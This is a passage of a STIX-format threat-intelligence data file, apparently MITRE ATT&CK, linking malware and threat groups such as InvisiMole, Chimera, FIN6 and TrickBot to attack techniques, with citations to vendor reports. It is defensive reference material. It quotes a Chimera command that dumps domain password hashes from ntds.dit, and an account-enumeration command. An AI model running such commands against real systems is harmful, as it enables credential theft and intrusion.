                    "source_name": "Secureworks MCMD July 2019",
                    "url": "https://www.secureworks.com/research/mcmd-malware-analysis",
                    "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."
                }
            ],
            "description": "[MCMD](https://attack.mitre.org/software/S0500) can Base64 encode output strings prior to sending to C2.(Citation: Secureworks MCMD July 2019)",
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            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "Secureworks MCMD July 2019",
                    "url": "https://www.secureworks.com/research/mcmd-malware-analysis",
                    "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."
                }
            ],
            "description": "[MCMD](https://attack.mitre.org/software/S0500) can use HTTPS in communication with C2 web servers.(Citation: Secureworks MCMD July 2019)",
            "relationship_type": "uses",
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            "type": "relationship",
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        },
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            "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69",
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                {
                    "source_name": "Secureworks MCMD July 2019",
                    "url": "https://www.secureworks.com/research/mcmd-malware-analysis",
                    "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."
                }
            ],
            "description": "[MCMD](https://attack.mitre.org/software/S0500) has the ability to remove set Registry Keys.(Citation: Secureworks MCMD July 2019)",
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            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
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                {
                    "source_name": "Secureworks MCMD July 2019",
                    "url": "https://www.secureworks.com/research/mcmd-malware-analysis",
                    "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."
                }
            ],
            "description": "[MCMD](https://attack.mitre.org/software/S0500) has been named Readme.txt to appear legitimate.(Citation: Secureworks MCMD July 2019)",
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            "id": "relationship--81791886-02a4-4417-a2e7-d44f5a7f83bf",
            "type": "relationship",
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            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
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                {
                    "source_name": "Secureworks MCMD July 2019",
                    "url": "https://www.secureworks.com/research/mcmd-malware-analysis",
                    "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."
                }
            ],
            "description": "[MCMD](https://attack.mitre.org/software/S0500) can use scheduled tasks for persistence.(Citation: Secureworks MCMD July 2019)",
            "relationship_type": "uses",
            "id": "relationship--bb16d8ce-3017-4835-a282-b11d10abc8a1",
            "type": "relationship",
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        {
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            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
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                {
                    "source_name": "Secureworks MCMD July 2019",
                    "url": "https://www.secureworks.com/research/mcmd-malware-analysis",
                    "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."
                }
            ],
            "description": "[MCMD](https://attack.mitre.org/software/S0500) can use Registry Run Keys for persistence.(Citation: Secureworks MCMD July 2019)",
            "relationship_type": "uses",
            "id": "relationship--f5a39799-22d3-42e6-b524-bd93744b0149",
            "type": "relationship",
            "modified": "2020-08-13T18:21:08.572Z",
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        },
        {
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            "source_ref": "tool--975737f1-b10d-476f-8bda-3ec26ea57172",
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                {
                    "source_name": "Secureworks MCMD July 2019",
                    "url": "https://www.secureworks.com/research/mcmd-malware-analysis",
                    "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."
                }
            ],
            "description": "[MCMD](https://attack.mitre.org/software/S0500) can modify processes to prevent them from being visible on the desktop.(Citation: Secureworks MCMD July 2019)",
            "relationship_type": "uses",
            "id": "relationship--57cb89ed-ead5-46b1-ade9-68e580274f65",
            "type": "relationship",
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        {
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            ],
            "source_ref": "tool--975737f1-b10d-476f-8bda-3ec26ea57172",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
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                {
                    "source_name": "Secureworks MCMD July 2019",
                    "url": "https://www.secureworks.com/research/mcmd-malware-analysis",
                    "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."
                }
            ],
            "description": "[MCMD](https://attack.mitre.org/software/S0500) can launch a console process (cmd.exe) with redirected standard input and output.(Citation: Secureworks MCMD July 2019)",
            "relationship_type": "uses",
            "id": "relationship--4e86ae1c-a19a-4aad-a030-6102f9fb439e",
            "type": "relationship",
            "modified": "2020-08-13T18:21:08.691Z",
            "created": "2020-08-13T18:21:08.691Z"
        },
        {
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            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
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                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can use a .lnk shortcut for the Control Panel to establish persistence.(Citation: ESET InvisiMole June 2020)",
            "relationship_type": "uses",
            "id": "relationship--db61e886-9295-4df7-a9db-25d7b9879b82",
            "type": "relationship",
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        {
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            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can place a lnk file in the Startup Folder to achieve persistence.(Citation: ESET InvisiMole June 2020)",
            "relationship_type": "uses",
            "id": "relationship--3434121e-a4d6-43a7-b905-78c52f5a12bd",
            "type": "relationship",
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            "target_ref": "attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6",
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                {
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can use zlib to compress and decompress data.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
            "relationship_type": "uses",
            "id": "relationship--399fbffc-1684-44ef-8002-61cfeff14383",
            "type": "relationship",
            "modified": "2020-08-17T12:57:12.417Z",
            "created": "2020-08-17T12:57:12.417Z"
        },
        {
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            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "target_ref": "attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995",
            "external_references": [
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can use Data Protection API to encrypt its components on the victim\u2019s computer, to evade detection, and to make sure the payload can only be decrypted and loaded on one specific compromised computer.(Citation: ESET InvisiMole June 2020)",
            "relationship_type": "uses",
            "id": "relationship--85cff8f7-2c44-4886-8b8c-efaac50d4596",
            "type": "relationship",
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        },
        {
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            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec",
            "external_references": [
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can collect jpeg files from connected MTP devices.(Citation: ESET InvisiMole June 2020)",
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            ],
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                }
            ],
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                }
            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can inject its backdoor as a portable executable into a target process.(Citation: ESET InvisiMole June 2020)\t",
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            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has used Windows services as a way to execute its malicious payload.(Citation: ESET InvisiMole June 2020)",
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                }
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            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can deliver trojanized versions of software and documents, relying on user execution.(Citation: ESET InvisiMole June 2020)",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
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            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can mimic HTTP protocol with custom HTTP \u201cverbs\u201d HIDE, ZVVP, and NOP.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
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            "description": "\n[InvisiMole](https://attack.mitre.org/software/S0260) can disconnect previously connected remote drives.(Citation: ESET InvisiMole June 2018)",
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            ],
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can can remove all system restore points.(Citation: ESET InvisiMole June 2018)",
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            ],
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                }
            ],
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                    "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/",
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                }
            ],
            "description": "[RDAT](https://attack.mitre.org/software/S0495) has used AES ciphertext to encode C2 communications.(Citation: Unit42 RDAT July 2020)",
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                }
            ],
            "description": "[RDAT](https://attack.mitre.org/software/S0495) has created a service when it is installed on the victim machine.(Citation: Unit42 RDAT July 2020)\t",
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                }
            ],
            "description": "[RDAT](https://attack.mitre.org/software/S0495) has masqueraded as VMware.exe.(Citation: Unit42 RDAT July 2020)\t",
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                    "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."
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            "description": "[PipeMon](https://attack.mitre.org/software/S0501) can use parent PID spoofing to elevate privileges.(Citation: ESET PipeMon May 2020)",
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            "description": "[PipeMon](https://attack.mitre.org/software/S0501) can attempt to gain administrative privileges using token impersonation.(Citation: ESET PipeMon May 2020)",
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                    "source_name": "AdSecurity Cracking Kerberos Dec 2015"
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            ],
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                    "description": "Microsoft. (2012, July 18). Preauthentication. Retrieved August 24, 2020."
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                    "url": "https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/",
                    "description": "Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020."
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                }
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            ],
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            ],
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            ],
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            "description": "[PipeMon](https://attack.mitre.org/software/S0501) can switch to an alternate C2 domain when a particular date has been reached.(Citation: ESET PipeMon May 2020)",
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            ],
            "description": "[PipeMon](https://attack.mitre.org/software/S0501) communications are RC4 encrypted.(Citation: ESET PipeMon May 2020)",
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            "description": "The [PipeMon](https://attack.mitre.org/software/S0501) communication module can use a custom protocol based on TLS over TCP.(Citation: ESET PipeMon May 2020)",
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            "description": "(Citation: ESET PipeMon May 2020)",
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            ],
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                    "url": "https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF",
                    "description": "NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."
                }
            ],
            "description": "(Citation: NSA/FBI Drovorub August 2020)",
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                    "url": "https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF",
                    "description": "NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."
                }
            ],
            "description": "[Drovorub](https://attack.mitre.org/software/S0502) has de-obsfuscated XOR encrypted payloads in WebSocket messages.(Citation: NSA/FBI Drovorub August 2020)",
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                    "description": "NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."
                }
            ],
            "description": "[Drovorub](https://attack.mitre.org/software/S0502) can use kernel modules to establish persistence.(Citation: NSA/FBI Drovorub August 2020)",
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                    "description": "NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."
                }
            ],
            "description": "[Drovorub](https://attack.mitre.org/software/S0502) can transfer files from the victim machine.(Citation: NSA/FBI Drovorub August 2020)",
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                    "description": "NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."
                }
            ],
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                }
            ],
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                }
            ],
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            ],
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                }
            ],
            "description": "[Drovorub](https://attack.mitre.org/software/S0502) has used XOR encrypted payloads in WebSocket client to server messages.(Citation: NSA/FBI Drovorub August 2020)",
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            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used RDP to access targeted systems.(Citation: Cycraft Chimera April 2020)",
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                    "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020."
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                {
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used gzip for Linux OS and a modified RAR software to archive data on Windows hosts.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)",
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            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has remotely copied tools and malware onto targeted systems.(Citation: Cycraft Chimera April 2020)",
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                    "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020."
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            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used a valid account to maintain persistence via scheduled task.(Citation: Cycraft Chimera April 2020)",
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                },
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
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                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used WMIC to execute remote commands.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)",
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                    "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020."
                },
                {
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has has used <code>net user /dom</code> and <code>net user Administrator</code> to enumerate domain accounts including administrator accounts.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)",
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                    "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf",
                    "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020."
                },
                {
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has gathered the SYSTEM registry and ntds.dit files from target systems.(Citation: Cycraft Chimera April 2020) [Chimera](https://attack.mitre.org/groups/G0114) specifically has used the NtdsAudit tool to dump the password hashes of domain users via <code>cmsadcs.exe \"NTDS.dit\" -s \"SYSTEM\" -p RecordedTV_pdmp.txt --users-csv RecordedTV_users.csv</code> and used ntdsutil to copy the Active Directory database.(Citation: NCC Group Chimera January 2021)",
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            "external_references": [
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                    "source_name": "Cycraft Chimera April 2020",
                    "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf",
                    "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) has renamed malware to GoogleUpdate.exe and WinRAR to jucheck.exe, RecordedTV.ms, teredo.tmp, update.exe, and msadcs1.exe.(Citation: Cycraft Chimera April 2020)",
            "relationship_type": "uses",
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            "modified": "2021-04-26T13:45:20.351Z",
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                }
            ],
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                }
            ],
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                    "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020."
                },
                {
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                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
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                    "source_name": "Unit 42 Valak July 2020",
                    "url": "https://unit42.paloaltonetworks.com/valak-evolution/",
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                }
            ],
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                    "url": "https://assets.sentinelone.com/labs/sentinel-one-valak-i   ",
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                }
            ],
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                }
            ],
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                }
            ],
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                }
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                }
            ],
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                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used modules that automatically upload gathered documents to the C2 server.(Citation: ESET Gamaredon June 2020)",
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                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
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            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has deployed scripts on compromised systems that automatically scan for interesting documents.(Citation: ESET Gamaredon June 2020)",
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                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
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            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) malware has collected Microsoft Office documents from mapped network drives.(Citation: ESET Gamaredon June 2020)",
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            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "external_references": [
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                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
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            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) malware has used rundll32 to launch additional malicious components.(Citation: ESET Gamaredon June 2020)",
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                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
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            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has injected malicious macros into all Word and Excel documents on mapped network drives.(Citation: ESET Gamaredon June 2020)",
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                    "description": "Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020."
                }
            ],
            "description": "[Valak](https://attack.mitre.org/software/S0476) can use the clientgrabber module to steal e-mail credentials from the Registry.(Citation: SentinelOne Valak June 2020)",
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            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "external_references": [
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                    "url": "https://assets.sentinelone.com/labs/sentinel-one-valak-i   ",
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                }
            ],
            "description": "[Valak](https://attack.mitre.org/software/S0476) can download a module to search for and build a report of harvested credential data.(Citation: SentinelOne Valak June 2020)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447",
            "external_references": [
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                    "url": "https://assets.sentinelone.com/labs/sentinel-one-valak-i   ",
                    "description": "Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020."
                }
            ],
            "description": "[Valak](https://attack.mitre.org/software/S0476) can use a .NET compiled module named exchgrabber to enumerate credentials from the Credential Manager.(Citation: SentinelOne Valak June 2020)",
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            "target_ref": "attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d",
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                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "source_name": "FireEye FIN6 April 2016"
                }
            ],
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has extracted password hashes from ntds.dit to crack offline.(Citation: FireEye FIN6 April 2016)",
            "relationship_type": "uses",
            "id": "relationship--cef68296-665f-49ed-8a30-c91f8c00096f",
            "type": "relationship",
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                    "url": "https://labs.sentinelone.com/fin6-frameworkpos-point-of-sale-malware-analysis-internals-2/",
                    "description": "Kremez, V. (2019, September 19). FIN6 \u201cFrameworkPOS\u201d: Point-of-Sale Malware Analysis & Internals. Retrieved September 8, 2020."
                }
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                    "description": "Kremez, V. (2019, September 19). FIN6 \u201cFrameworkPOS\u201d: Point-of-Sale Malware Analysis & Internals. Retrieved September 8, 2020."
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                    "description": "Kremez, V. (2019, September 19). FIN6 \u201cFrameworkPOS\u201d: Point-of-Sale Malware Analysis & Internals. Retrieved September 8, 2020."
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                    "url": "https://labs.sentinelone.com/fin6-frameworkpos-point-of-sale-malware-analysis-internals-2/",
                    "description": "Kremez, V. (2019, September 19). FIN6 \u201cFrameworkPOS\u201d: Point-of-Sale Malware Analysis & Internals. Retrieved September 8, 2020."
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                {
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                    "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf",
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                    "url": "https://www.trendmicro.com/en_us/research/19/j/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops.html",
                    "description": "Chen, J. (2019, October 10). Magecart Card Skimmers Injected Into Online Shops. Retrieved September 9, 2020."
                },
                {
                    "source_name": "RiskIQ British Airways September 2018",
                    "url": "https://riskiq.com/blog/labs/magecart-british-airways-breach/",
                    "description": "Klijnsma, Y. (2018, September 11). Inside the Magecart Breach of British Airways: How 22 Lines of Code Claimed 380,000 Victims. Retrieved September 9, 2020."
                },
                {
                    "source_name": "RiskIQ Newegg September 2018",
                    "url": "https://www.riskiq.com/blog/labs/magecart-newegg/",
                    "description": "Klijnsma, Y. (2018, September 19). Another Victim of the Magecart Assault Emerges: Newegg. Retrieved September 9, 2020."
                }
            ],
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has collected and exfiltrated payment card data from compromised systems.(Citation: Trend Micro FIN6 October 2019)(Citation: RiskIQ British Airways September 2018)(Citation: RiskIQ Newegg September 2018)",
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                    "url": "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html",
                    "description": "Kennelly, J., Goody, K., Shilko, J. (2020, May 7). Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents. Retrieved May 18, 2020."
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            "description": "(Citation: FireEye Maze May 2020)",
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                    "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf",
                    "source_name": "Visa FIN6 Feb 2019"
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            ],
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used malicious documents to lure victims into allowing execution of PowerShell scripts.(Citation: Visa FIN6 Feb 2019)",
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                    "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf",
                    "source_name": "Visa FIN6 Feb 2019"
                }
            ],
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has targeted victims with e-mails containing malicious attachments.(Citation: Visa FIN6 Feb 2019)",
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                    "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf",
                    "source_name": "Visa FIN6 Feb 2019"
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            ],
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used the Stealer One credential stealer to target web browsers.(Citation: Visa FIN6 Feb 2019)",
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                }
            ],
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                    "url": "https://labs.f-secure.com/assets/BlogFiles/f-secureLABS-tlp-white-lazarus-threat-intel-report2.pdf",
                    "description": "F-Secure Labs. (2020, August 18). Lazarus Group Campaign Targeting the Cryptocurrency Vertical. Retrieved September 1, 2020."
                }
            ],
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has used fake job advertisements sent via LinkedIn to spearphish victims.(Citation: F-Secure Lazarus Cryptocurrency Aug 2020) ",
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                    "url": "https://labs.f-secure.com/assets/BlogFiles/f-secureLABS-tlp-white-lazarus-threat-intel-report2.pdf",
                    "description": "F-Secure Labs. (2020, August 18). Lazarus Group Campaign Targeting the Cryptocurrency Vertical. Retrieved September 1, 2020."
                }
            ],
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has rebooted victim machines to establish persistence by installing a SSP DLL.(Citation: F-Secure Lazarus Cryptocurrency Aug 2020)",
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                    "url": "https://labs.f-secure.com/assets/BlogFiles/f-secureLABS-tlp-white-lazarus-threat-intel-report2.pdf",
                    "description": "F-Secure Labs. (2020, August 18). Lazarus Group Campaign Targeting the Cryptocurrency Vertical. Retrieved September 1, 2020."
                }
            ],
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has modified registry keys using the reg windows utility for its custom backdoor implants.(Citation: F-Secure Lazarus Cryptocurrency Aug 2020)",
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            "external_references": [
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                    "url": "https://labs.f-secure.com/assets/BlogFiles/f-secureLABS-tlp-white-lazarus-threat-intel-report2.pdf",
                    "description": "F-Secure Labs. (2020, August 18). Lazarus Group Campaign Targeting the Cryptocurrency Vertical. Retrieved September 1, 2020."
                }
            ],
            "description": "A [Lazarus Group](https://attack.mitre.org/groups/G0032) custom backdoor implant included a custom PE loader named \"Security Package\" that was added into the lsass.exe process via registry key.(Citation: F-Secure Lazarus Cryptocurrency Aug 2020) ",
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                }
            ],
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                    "description": "F-Secure Labs. (2020, August 18). Lazarus Group Campaign Targeting the Cryptocurrency Vertical. Retrieved September 1, 2020."
                }
            ],
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                }
            ],
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has used Powershell to download malicious payloads.(Citation: F-Secure Lazarus Cryptocurrency Aug 2020)",
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                    "url": "https://labs.f-secure.com/assets/BlogFiles/f-secureLABS-tlp-white-lazarus-threat-intel-report2.pdf",
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                }
            ],
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has used mshta.exe to run malicious scripts and download programs.(Citation: F-Secure Lazarus Cryptocurrency Aug 2020)",
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                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                }
            ],
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) can Base64-encode C2 commands.(Citation: Cyberreason Anchor December 2019)",
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                }
            ],
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) can identify the groups the user on a compromised host belongs to.(Citation: Cyberreason Anchor December 2019)",
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                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                }
            ],
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                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                }
            ],
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) has come with a signed downloader component.(Citation: Cyberreason Anchor December 2019)",
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                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                }
            ],
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) can enumerate computers and network devices.(Citation: Cyberreason Anchor December 2019)",
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                }
            ],
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) has been delivered via malicious links in phishing e-mails.(Citation: Cyberreason Anchor December 2019)",
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                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                }
            ],
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) can steal passwords from the KeePass open source password manager.(Citation: Cyberreason Anchor December 2019)",
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                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                }
            ],
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) can send information about the compromised host to a hardcoded C2 server.(Citation: Cyberreason Anchor December 2019)",
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                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                },
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                    "url": "https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30",
                    "description": "Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020."
                }
            ],
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                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                },
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                }
            ],
            "description": "[Anchor](https://attack.mitre.org/software/S0504) can download additional payloads.(Citation: Cyberreason Anchor December 2019)(Citation: Medium Anchor DNS July 2020)",
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                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
                }
            ],
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            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
